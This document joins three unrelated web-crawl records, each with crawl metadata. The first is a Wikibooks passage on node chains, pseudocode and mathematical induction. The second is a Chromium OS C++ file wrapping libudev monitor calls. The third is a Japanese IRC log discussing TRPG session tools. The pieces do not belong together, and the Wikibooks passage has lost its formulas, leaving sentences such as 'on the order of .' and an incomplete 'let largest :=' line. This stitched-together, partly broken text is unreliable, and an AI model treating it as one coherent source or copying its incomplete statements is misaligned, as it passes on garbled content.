total := total + j
count := count + 1
fi
nodes := get-next(nodes)
repeat
if count != 0:
println out "Average: " (total / count)
fi
end
Above, if n integers are successfully read there will be n calls made to make-node. This will require n nodes to be made (which require enough space to hold the value and next fields of each node, plus internal memory management overhead), so the memory requirements will be on the order of . Similarly, we construct this chain of nodes and then iterate over the chain again, which will require steps to make the chain, and then another steps to iterate over it.
Note that when we iterate the numbers in the chain, we are actually looking at them in reverse order. For example, assume the numbers input to our program are 4, 7, 6, 30, and 15. After EOF is reached, the nodes chain will look like this:
Such chains are more commonly referred to as linked-lists. However, we generally prefer to think in terms of lists or sequences, which aren't as low-level: the linking concept is just an implementation detail. While a list can be made with a chain, in this book we cover several other ways to make a list. For the moment, we care more about the abstraction capabilities of the node than we do about one of the ways it is used.
The above algorithm only uses the make-node, get-value, and get-next functions. If we use set-next we can change the algorithm to generate the chain so that it keeps the original ordering (instead of reversing it).
To do:
pseudocode to do so; also TODO; should probably think of compelling, but not too-advanced, use of set-value.
program (input-stream in, output-stream out)
let largest :=
let nodes := null
let tail_node := null
while has-next-integer (in):
let i := read-integer (in)
if (nodes == null)
nodes := make-node(i, null) // construct first node in the list
tail_node := nodes //there is one node in the list=> first and last are the same
else
tail_node := set-next (tail_node, make-node (i, null)) // append new node to the end of the list
largest := max(largest, i)
repeat
println out "Maximum: " largest
// now compute the averages of all factors of largest
let total := 0
let count := 0
while nodes != null:
let j := get-value(nodes)
if j divides largest:
total := total + j
count := count + 1
fi
nodes := get-next(nodes)
repeat
if count != 0:
println out "Average: " (total / count)
fi
end
The Principle of InductionEdit
The chains we can build from nodes are a demonstration of the principle of mathematical induction:
Mathematical Induction
1. Suppose you have some property of numbers
2. If you can prove that when holds that must also hold, then
3. All you need to do is prove that holds to show that holds for all natural
For example, let the property be the statement that "you can make a chain that holds numbers". This is a property of natural numbers, because the sentence makes sense for specific values of :
• you can make a chain that holds 5 numbers
• you can make a chain that holds 100 numbers
• you can make a chain that holds 1,000,000 numbers
Instead of proving that we can make chains of length 5, 100, and one million, we'd rather prove the general statement instead. Step 2 above is called the Inductive Hypothesis; let's show that we can prove it:
• Assume that holds. That is, that we can make a chain of elements. Now we must show that holds.
• Assume chain is the first node of the -element chain. Assume i is some number that we'd like to add to the chain to make an length chain.
• The following code can accomplish this for us:
let bigger-chain := make-node(i, chain)
• Here, we have the new number i that is now the contained value of the first link of the bigger-chain. If chain had elements, then bigger-chain must have elements.
Step 3 above is called the Base Case, let's show that we can prove it:
• We must show that holds. That is, that we can make a chain of one element.
• The following code can accomplish this for us:
let chain := make-node(i, null)
The principle of induction says, then, that we have proven that we can make a chain of elements for all value of . How is this so? Probably the best way to think of induction is that it's actually a way of creating a formula to describe an infinite number of proofs. After we prove that the statement is true for , the base case, we can apply the inductive hypothesis to that fact to show that holds. Since we now know that holds, we can apply the inductive hypothesis again to show that must hold. The principle says that there is nothing to stop us from doing this repeatedly, so we should assume it holds for all cases.
Induction may sound like a strange way to prove things, but it's a very useful technique. What makes the technique so useful is that it can take a hard sounding statement like "prove holds for all " and break it into two smaller, easier to prove statements. Typically base cases are easy to prove because they are not general statements at all. Most of the proof work is usually in the inductive hypothesis, which can often require clever ways of reformulating the statement to "attach on" a proof of the case.
You can think of the contained value of a node as a base case, while the next pointer of the node as the inductive hypothesis. Just as in mathematical induction, we can break the hard problem of storing an arbitrary number of elements into an easier problem of just storing one element and then having a mechanism to attach on further elements.
Induction on a SummationEdit
The next example of induction we consider is more algebraic in nature:
Let's say we are given the formula and we want to prove that this formula gives us the sum of the first numbers. As a first attempt, we might try to just show that this is true for 1
,
for 2
,
for 3
and so on, however we'd quickly realize that our so called proof would take infinitely long to write out! Even if you carried out this proof and showed it to be true for the first billion numbers, that doesn't nescessarily mean that it would be true for one billion and one or even a hundred billion. This is a strong hint that maybe induction would be useful here.
Let's say we want to prove that the given formula really does give the sum of the first n numbers using induction. The first step is to prove the base case; i.e. we have to show that it is true when n = 1. This is relatively easy; we just substitute 1 for the variable n and we get ( ), which shows that the formula is correct when n = 1.
Now for the inductive step. We have to show that if the formula is true for j, it is also true for j + 1. To phrase it another way, assuming we've already proven that the sum from 1 to (j) is , we want to prove that the sum from 1 to (j+1) is . Note that those two formulas came about just by replacing n with (j) and (j+1) respectively.
To prove this inductive step, first note that to calculate the sum from 1 to j+1, you can just calculate the sum from 1 to j, then add j+1 to it. We already have a formula for the sum from 1 to j, and when we add j+1 to that formula, we get this new formula: . So to actually complete the proof, all we'd need to do is show that .
We can show the above equation is true via a few simplification steps:
| {
"url": "https://en.m.wikibooks.org/wiki/Data_Structures/Introduction",
"source_domain": "en.m.wikibooks.org",
"snapshot_id": "crawl=CC-MAIN-2017-34",
"warc_metadata": {
"Content-Length": "111380",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CERRJTXX4CP4CVBYAGHBEWORVJP5BRNE",
"WARC-Concurrent-To": "<urn:uuid:2befdd8c-7292-4d64-b09f-0ac4f47c509a>",
"WARC-Date": "2017-08-17T15:43:20Z",
"WARC-IP-Address": "208.80.154.224",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:C4CO3FCXKWAA52CGCGVA7SFJ4S7QTRJM",
"WARC-Record-ID": "<urn:uuid:cae360a9-92ad-4019-901c-791970ddb26d>",
"WARC-Target-URI": "https://en.m.wikibooks.org/wiki/Data_Structures/Introduction",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:18fff1d7-9c87-4e0f-849f-44a651bc6e81>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-145-170-236.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
15,
16,
28,
29,
58,
59,
77,
78,
263,
264,
792,
793,
1424,
1425,
1792,
1793,
1977,
1978,
2009,
2010,
2337,
2338,
2388,
2389,
2781,
3049,
3050,
3378,
3379,
4191,
4192,
4589,
4590,
5142,
5143,
5152,
5153,
5166,
5167,
5321,
5322,
5366,
5367,
5368,
5576,
5577,
6265,
6266,
6337,
6338,
6402,
6435,
6474,
6509,
6525,
6529,
6530,
6571,
6607,
6624,
6628,
6629,
6675,
6707,
6723,
6727,
6728,
6769,
6799,
6814,
6818,
6819,
6877,
6913,
6934,
6952,
6956,
6957,
7605,
7606,
7801,
7802,
7834,
7835,
7982,
7983,
8281,
8282,
8326,
8343,
8360,
8379,
8382,
8412,
8442,
8465,
8488,
8519,
8528,
8532,
8566,
8569,
8586,
8630,
8635,
8639,
8640,
9209,
9210,
9770,
9771,
9999,
10000,
10044,
10063,
10083,
10086,
10116,
10146,
10203,
10277,
10308,
10317,
10351,
10352,
10408,
10425,
10442,
10465,
10495,
10521,
10546,
10571,
10578,
10607,
10616,
10633,
10677,
10682,
10686,
10687,
11155,
11156,
11395,
11396,
11398,
11399,
11826,
11827,
12042,
12043,
12045,
12046,
12053,
12162,
12163,
12208,
12227,
12247,
12271,
12274,
12305,
12336,
12359,
12429,
12516,
12525,
12628,
12659,
12668,
12702,
12703,
12759,
12776,
12793,
12816,
12846,
12872,
12897,
12922,
12929,
12958,
12967,
12984,
13028,
13033,
13037,
13038,
13069,
13070,
13169,
13170,
13193,
13242,
13310,
13395,
13396,
13593,
13594,
13640,
13688,
13742,
13743,
13954,
13955,
14060,
14205,
14256,
14296,
14467,
14468,
14539,
14540,
14621,
14672,
14704,
14705,
15338,
15339,
15855,
15856,
16201,
16202,
16231,
16232,
16303,
16304,
16491,
16492,
16495,
16496,
16502,
16503,
16506,
16507,
16513,
16514,
16516,
16517,
16883,
16884,
17223,
17224,
17564,
17565,
17898,
17899,
17970,
17971,
17973,
17974,
17976,
17977,
17979,
17980,
17982,
17983,
17985,
17986,
17988,
17989
],
"line_end_idx": [
15,
16,
28,
29,
58,
59,
77,
78,
263,
264,
792,
793,
1424,
1425,
1792,
1793,
1977,
1978,
2009,
2010,
2337,
2338,
2388,
2389,
2781,
3049,
3050,
3378,
3379,
4191,
4192,
4589,
4590,
5142,
5143,
5152,
5153,
5166,
5167,
5321,
5322,
5366,
5367,
5368,
5576,
5577,
6265,
6266,
6337,
6338,
6402,
6435,
6474,
6509,
6525,
6529,
6530,
6571,
6607,
6624,
6628,
6629,
6675,
6707,
6723,
6727,
6728,
6769,
6799,
6814,
6818,
6819,
6877,
6913,
6934,
6952,
6956,
6957,
7605,
7606,
7801,
7802,
7834,
7835,
7982,
7983,
8281,
8282,
8326,
8343,
8360,
8379,
8382,
8412,
8442,
8465,
8488,
8519,
8528,
8532,
8566,
8569,
8586,
8630,
8635,
8639,
8640,
9209,
9210,
9770,
9771,
9999,
10000,
10044,
10063,
10083,
10086,
10116,
10146,
10203,
10277,
10308,
10317,
10351,
10352,
10408,
10425,
10442,
10465,
10495,
10521,
10546,
10571,
10578,
10607,
10616,
10633,
10677,
10682,
10686,
10687,
11155,
11156,
11395,
11396,
11398,
11399,
11826,
11827,
12042,
12043,
12045,
12046,
12053,
12162,
12163,
12208,
12227,
12247,
12271,
12274,
12305,
12336,
12359,
12429,
12516,
12525,
12628,
12659,
12668,
12702,
12703,
12759,
12776,
12793,
12816,
12846,
12872,
12897,
12922,
12929,
12958,
12967,
12984,
13028,
13033,
13037,
13038,
13069,
13070,
13169,
13170,
13193,
13242,
13310,
13395,
13396,
13593,
13594,
13640,
13688,
13742,
13743,
13954,
13955,
14060,
14205,
14256,
14296,
14467,
14468,
14539,
14540,
14621,
14672,
14704,
14705,
15338,
15339,
15855,
15856,
16201,
16202,
16231,
16232,
16303,
16304,
16491,
16492,
16495,
16496,
16502,
16503,
16506,
16507,
16513,
16514,
16516,
16517,
16883,
16884,
17223,
17224,
17564,
17565,
17898,
17899,
17970,
17971,
17973,
17974,
17976,
17977,
17979,
17980,
17982,
17983,
17985,
17986,
17988,
17989,
17990
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 17990,
"ccnet_original_nlines": 261,
"rps_doc_curly_bracket": 0.00011116999667137861,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4696847200393677,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.001886280020698905,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17542441189289093,
"rps_doc_frac_unique_words": 0.22657296061515808,
"rps_doc_mean_word_length": 4.609772205352783,
"rps_doc_num_sentences": 128,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.558206558227539,
"rps_doc_word_count": 2988,
"rps_doc_frac_chars_dupe_10grams": 0.056047629565000534,
"rps_doc_frac_chars_dupe_5grams": 0.1264701634645462,
"rps_doc_frac_chars_dupe_6grams": 0.1051981970667839,
"rps_doc_frac_chars_dupe_7grams": 0.0839262381196022,
"rps_doc_frac_chars_dupe_8grams": 0.07819078862667084,
"rps_doc_frac_chars_dupe_9grams": 0.06083926185965538,
"rps_doc_frac_chars_top_2gram": 0.008712070062756538,
"rps_doc_frac_chars_top_3gram": 0.005227239802479744,
"rps_doc_frac_chars_top_4gram": 0.006606650073081255,
"rps_doc_books_importance": -1525.04931640625,
"rps_doc_books_importance_length_correction": -1525.04931640625,
"rps_doc_openwebtext_importance": -974.7225341796875,
"rps_doc_openwebtext_importance_length_correction": -974.7225341796875,
"rps_doc_wikipedia_importance": -604.3810424804688,
"rps_doc_wikipedia_importance_length_correction": -604.3810424804688
},
"fasttext": {
"dclm": 0.7576456069946289,
"english": 0.9232514500617981,
"fineweb_edu_approx": 2.961327075958252,
"eai_general_math": 0.9983192682266235,
"eai_open_web_math": 0.613661527633667,
"eai_web_code": 0.9494885802268982
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.735",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
322,123,971,150,982,000 | blob: 908ee42c15bfd0772da7b63cfe623c016a7777da [file] [log] [blame]
// Copyright (c) 2013 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "mist/udev_monitor.h"
#include <libudev.h>
#include <base/logging.h>
#include <base/strings/stringprintf.h>
#include "mist/udev_device.h"
using base::StringPrintf;
namespace mist {
UdevMonitor::UdevMonitor() : monitor_(nullptr) {}
UdevMonitor::UdevMonitor(udev_monitor* monitor) : monitor_(monitor) {
CHECK(monitor_);
udev_monitor_ref(monitor_);
}
UdevMonitor::~UdevMonitor() {
if (monitor_) {
udev_monitor_unref(monitor_);
monitor_ = nullptr;
}
}
bool UdevMonitor::EnableReceiving() {
int result = udev_monitor_enable_receiving(monitor_);
if (result == 0)
return true;
VLOG(2) << StringPrintf("udev_monitor_enable_receiving(%p) returned %d.",
monitor_, result);
return false;
}
bool UdevMonitor::SetReceiveBufferSize(int size) {
int result = udev_monitor_set_receive_buffer_size(monitor_, size);
if (result == 0)
return true;
VLOG(2) << StringPrintf(
"udev_monitor_set_receive_buffer_size"
"(%p) returned %d.",
monitor_, result);
return false;
}
int UdevMonitor::GetFileDescriptor() const {
int file_descriptor = udev_monitor_get_fd(monitor_);
if (file_descriptor >= 0)
return file_descriptor;
VLOG(2) << StringPrintf("udev_monitor_get_fd(%p) returned %d.", monitor_,
file_descriptor);
return kInvalidFileDescriptor;
}
UdevDevice* UdevMonitor::ReceiveDevice() {
udev_device* received_device = udev_monitor_receive_device(monitor_);
if (received_device) {
UdevDevice* device = new UdevDevice(received_device);
CHECK(device);
// udev_monitor_receive_device increases the reference count of the returned
// udev_device struct, while UdevDevice also holds a reference count of the
// udev_device struct. Thus, decrease the reference count of the udev_device
// struct.
udev_device_unref(received_device);
return device;
}
VLOG(2) << StringPrintf("udev_monitor_receive_device(%p) returned nullptr.",
monitor_);
return nullptr;
}
bool UdevMonitor::FilterAddMatchSubsystemDeviceType(const char* subsystem,
const char* device_type) {
int result = udev_monitor_filter_add_match_subsystem_devtype(
monitor_, subsystem, device_type);
if (result == 0)
return true;
VLOG(2) << StringPrintf(
"udev_monitor_filter_add_match_subsystem_devtype (%p, \"%s\", \"%s\") "
"returned %d.",
monitor_, subsystem, device_type, result);
return false;
}
bool UdevMonitor::FilterAddMatchTag(const char* tag) {
int result = udev_monitor_filter_add_match_tag(monitor_, tag);
if (result == 0)
return true;
VLOG(2) << StringPrintf(
"udev_monitor_filter_add_tag (%p, \"%s\") returned %d.", monitor_, tag,
result);
return false;
}
bool UdevMonitor::FilterUpdate() {
int result = udev_monitor_filter_update(monitor_);
if (result == 0)
return true;
VLOG(2) << StringPrintf("udev_monitor_filter_update(%p) returned %d.",
monitor_, result);
return false;
}
bool UdevMonitor::FilterRemove() {
int result = udev_monitor_filter_remove(monitor_);
if (result == 0)
return true;
VLOG(2) << StringPrintf("udev_monitor_filter_remove(%p) returned %d.",
monitor_, result);
return false;
}
} // namespace mist | {
"url": "https://chromium.googlesource.com/chromiumos/platform2/+/4a231529c57075b111d546f7a2f33733c5adcffb/mist/udev_monitor.cc",
"source_domain": "chromium.googlesource.com",
"snapshot_id": "crawl=CC-MAIN-2019-26",
"warc_metadata": {
"Content-Length": "49633",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:WDMIXBK2HOM4KMOBQKUOMMBZZ5YKZR2M",
"WARC-Concurrent-To": "<urn:uuid:95b5de52-753a-471d-8285-575d3b5999e6>",
"WARC-Date": "2019-06-27T08:01:42Z",
"WARC-IP-Address": "173.194.175.82",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2U3LTUJZ3SEXB3WIGL5HT67DPTIMEUPX",
"WARC-Record-ID": "<urn:uuid:6ff16661-3004-45fb-94a3-13f5c778f56e>",
"WARC-Target-URI": "https://chromium.googlesource.com/chromiumos/platform2/+/4a231529c57075b111d546f7a2f33733c5adcffb/mist/udev_monitor.cc",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:27152edc-bc56-4fef-9e4e-415fe9221e55>"
},
"warc_info": "isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-146-47-206.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
68,
136,
210,
240,
271,
292,
318,
357,
387,
413,
430,
480,
550,
567,
595,
597,
627,
643,
673,
693,
695,
697,
735,
789,
806,
819,
893,
912,
926,
928,
979,
1046,
1063,
1076,
1101,
1140,
1161,
1180,
1194,
1196,
1241,
1294,
1320,
1344,
1418,
1436,
1467,
1469,
1512,
1582,
1605,
1659,
1674,
1751,
1827,
1904,
1915,
1951,
1966,
1968,
2045,
2056,
2072,
2074,
2149,
2176,
2238,
2273,
2290,
2303,
2328,
2400,
2416,
2459,
2473,
2475,
2530,
2593,
2610,
2623,
2648,
2720,
2729,
2743,
2745,
2780,
2831,
2848,
2861,
2932,
2951,
2965,
2967,
3002,
3053,
3070,
3083,
3154,
3173,
3187,
3189
],
"line_end_idx": [
68,
136,
210,
240,
271,
292,
318,
357,
387,
413,
430,
480,
550,
567,
595,
597,
627,
643,
673,
693,
695,
697,
735,
789,
806,
819,
893,
912,
926,
928,
979,
1046,
1063,
1076,
1101,
1140,
1161,
1180,
1194,
1196,
1241,
1294,
1320,
1344,
1418,
1436,
1467,
1469,
1512,
1582,
1605,
1659,
1674,
1751,
1827,
1904,
1915,
1951,
1966,
1968,
2045,
2056,
2072,
2074,
2149,
2176,
2238,
2273,
2290,
2303,
2328,
2400,
2416,
2459,
2473,
2475,
2530,
2593,
2610,
2623,
2648,
2720,
2729,
2743,
2745,
2780,
2831,
2848,
2861,
2932,
2951,
2965,
2967,
3002,
3053,
3070,
3083,
3154,
3173,
3187,
3189,
3208
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3208,
"ccnet_original_nlines": 101,
"rps_doc_curly_bracket": 0.008728180080652237,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.08988764137029648,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.020866770297288895,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5008025765419006,
"rps_doc_frac_unique_words": 0.4157303273677826,
"rps_doc_mean_word_length": 8.85393238067627,
"rps_doc_num_sentences": 19,
"rps_doc_symbol_to_word_ratio": 0.008025679737329483,
"rps_doc_unigram_entropy": 4.247201919555664,
"rps_doc_word_count": 267,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.1755499243736267,
"rps_doc_frac_chars_dupe_6grams": 0.1649746149778366,
"rps_doc_frac_chars_dupe_7grams": 0.07698816061019897,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.020727580413222313,
"rps_doc_frac_chars_top_3gram": 0.0473773293197155,
"rps_doc_frac_chars_top_4gram": 0.03807106986641884,
"rps_doc_books_importance": -219.15187072753906,
"rps_doc_books_importance_length_correction": -219.15187072753906,
"rps_doc_openwebtext_importance": -132.0902557373047,
"rps_doc_openwebtext_importance_length_correction": -132.0902557373047,
"rps_doc_wikipedia_importance": -94.31725311279297,
"rps_doc_wikipedia_importance_length_correction": -94.31725311279297
},
"fasttext": {
"dclm": 0.581343412399292,
"english": 0.3246864378452301,
"fineweb_edu_approx": 2.5869033336639404,
"eai_general_math": 0.952996551990509,
"eai_open_web_math": 0.019853059202432632,
"eai_web_code": 0.50828617811203
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-4,495,833,227,799,587,300 | 発言数 11
表示
時刻 メッセージ
01:28:57 _15_Mariaash_
01:41:53 syo が切断されました：Quit: Leaving...
01:57:20 aspha が切断されました：Quit: See you...
02:27:52 ash_ が切断されました：Quit: Leaving...
03:00:48 Pikoyan が切断されました：Quit: See you...
03:31:30 akiraani ([email protected]) が #openTRPG に参加しました。
03:34:59 akiraani_ が切断されました：Ping timeout: 256 seconds
03:38:09 LizardMen が切断されました：Quit: このわたくしが 負 けるなんて、ありえませんわ！
07:37:06 MELTDOWN ([email protected]) が #openTRPG に参加しました。
08:52:43 Prof_M_ ([email protected]) が #openTRPG に参加しました。
08:54:17 Prof_M が切断されました：Ping timeout: 240 seconds
09:13:41 syo ([email protected]) が #openTRPG に参加しました。
09:36:31 syo が切断されました：Ping timeout: 256 seconds
10:46:27 Take-D が切断されました：Quit: Leaving...
10:48:57 aspha ([email protected]) が #openTRPG に参加しました。
10:53:12 LizardMen ([email protected]) が #openTRPG に参加しました。
10:57:20 koi-chan[away]koi-chan
11:43:25 koi-chankoi-chan[away]
11:49:24 syo ([email protected]) が #openTRPG に参加しました。
11:53:36 aspha が切断されました：Quit: See you...
12:55:03 kairi が切断されました：Quit: See you...
13:41:58 aizawayu ([email protected]) が #openTRPG に参加しました。
15:09:00 koi-chan[away]koi-chan
15:11:21 koi-chankoi-chan[away]
16:58:22 MELTDOWN が切断されました：Quit: Leaving...
17:28:20 koi-chan[away]koi-chan
17:38:42
koi-chan
3年以内に、どどんとふに代わるセッションツールはどこか見つかるのだろうか
17:38:50
koi-chan
機能的にも、ユーザー数的にも。
17:41:13
aba[AWAY]
まぁ
17:41:29
aba[AWAY]
誰かが作らないと消える
17:43:58
koi-chan
群雄割拠のような状態になるのかどうか
17:44:47
OTE
開発ができてもサーバ維持の費用とメンテナンスか。
17:45:32
koi-chan
その問題もあるんですよね
17:46:27
koi-chan
どどんとふ的な感じのユーザーが用意できるサーバ再度のセッションツールでよく使われているのとか、ここの人が使ったことあるのって、どんなのがあるんだろうと
18:06:55 meltdown ([email protected]) が #openTRPG に参加しました。
18:42:05 koi-chankoi-chan[away]
19:10:38 meltdown が切断されました：Quit: 皆様に「砂漠の風」のあらんことを
19:10:53
akiraani
P2Pでどうにかならないものかね＞セッションツール
19:20:17 Kannna ([email protected]) が #openTRPG に参加しました。
19:26:31 LizardMe_ ([email protected]) が #openTRPG に参加しました。
19:27:33 LizardMen が切断されました：Ping timeout: 256 seconds
19:29:19
CHOBOJA
ＭＡＰＴＯＯＬとか
19:29:27
CHOBOJA
ＲＯＬＬ２０とかあるじゃないですか
20:22:19 Take-D ([email protected]) が #openTRPG に参加しました。
20:43:25 meltdown ([email protected]) が #openTRPG に参加しました。
20:55:33 aizawayu が切断されました：Quit: それではノシ
21:17:24 Prof_M ([email protected]) が #openTRPG に参加しました。
21:19:11 Prof_M_ が切断されました：Ping timeout: 256 seconds
21:24:05 Prof_M_ ([email protected]) が #openTRPG に参加しました。
21:25:37 Prof_M が切断されました：Ping timeout: 248 seconds
21:27:50 LizardMen ([email protected]) が #openTRPG に参加しました。
21:28:49 LizardMe_ が切断されました：Ping timeout: 256 seconds
21:37:40 kairi ([email protected]) が #openTRPG に参加しました。
22:04:33 Kannna が切断されました：Ping timeout: 248 seconds
22:55:55 meltdown が切断されました：Quit: 皆様に「砂漠の風」のあらんことを
23:12:55 aspha ([email protected]) が #openTRPG に参加しました。
23:51:27 akiraani が切断されました：Quit: 心の豊かさをHDDの中に求めれば、部屋なんて狭くても良い
表示するメッセージがありません。 | {
"url": "https://log.irc.cre.jp/channels/opentrpg/2017/07/29",
"source_domain": "log.irc.cre.jp",
"snapshot_id": "crawl=CC-MAIN-2020-05",
"warc_metadata": {
"Content-Length": "34984",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:KR4FDBMERPSNC4G3HISF5MDQRJFZIXGQ",
"WARC-Concurrent-To": "<urn:uuid:268d0a74-276d-4223-a99d-c7535739df55>",
"WARC-Date": "2020-01-20T01:51:08Z",
"WARC-IP-Address": "153.120.40.59",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OV57C6VXSU2NJESEBR3ROWDMLGBHIAHT",
"WARC-Record-ID": "<urn:uuid:28096ef2-8ba3-4fdf-9809-3f33e05b8b76>",
"WARC-Target-URI": "https://log.irc.cre.jp/channels/opentrpg/2017/07/29",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fef3e738-bee3-4cb8-ae82-5227f80a7783>"
},
"warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-48.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
10,
19,
42,
81,
122,
162,
205,
283,
337,
396,
495,
582,
633,
698,
746,
788,
873,
947,
979,
1011,
1076,
1117,
1158,
1249,
1281,
1313,
1357,
1389,
1398,
1407,
1444,
1453,
1462,
1478,
1487,
1497,
1500,
1509,
1519,
1531,
1540,
1549,
1568,
1577,
1581,
1606,
1615,
1624,
1637,
1646,
1655,
1731,
1824,
1856,
1906,
1915,
1924,
1950,
2027,
2101,
2155,
2164,
2172,
2182,
2191,
2199,
2217,
2294,
2387,
2427,
2515,
2567,
2657,
2708,
2782,
2836,
2921,
2972,
3022,
3107,
3169
],
"line_end_idx": [
7,
10,
19,
42,
81,
122,
162,
205,
283,
337,
396,
495,
582,
633,
698,
746,
788,
873,
947,
979,
1011,
1076,
1117,
1158,
1249,
1281,
1313,
1357,
1389,
1398,
1407,
1444,
1453,
1462,
1478,
1487,
1497,
1500,
1509,
1519,
1531,
1540,
1549,
1568,
1577,
1581,
1606,
1615,
1624,
1637,
1646,
1655,
1731,
1824,
1856,
1906,
1915,
1924,
1950,
2027,
2101,
2155,
2164,
2172,
2182,
2191,
2199,
2217,
2294,
2387,
2427,
2515,
2567,
2657,
2708,
2782,
2836,
2921,
2972,
3022,
3107,
3169,
3185
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3185,
"ccnet_original_nlines": 82,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
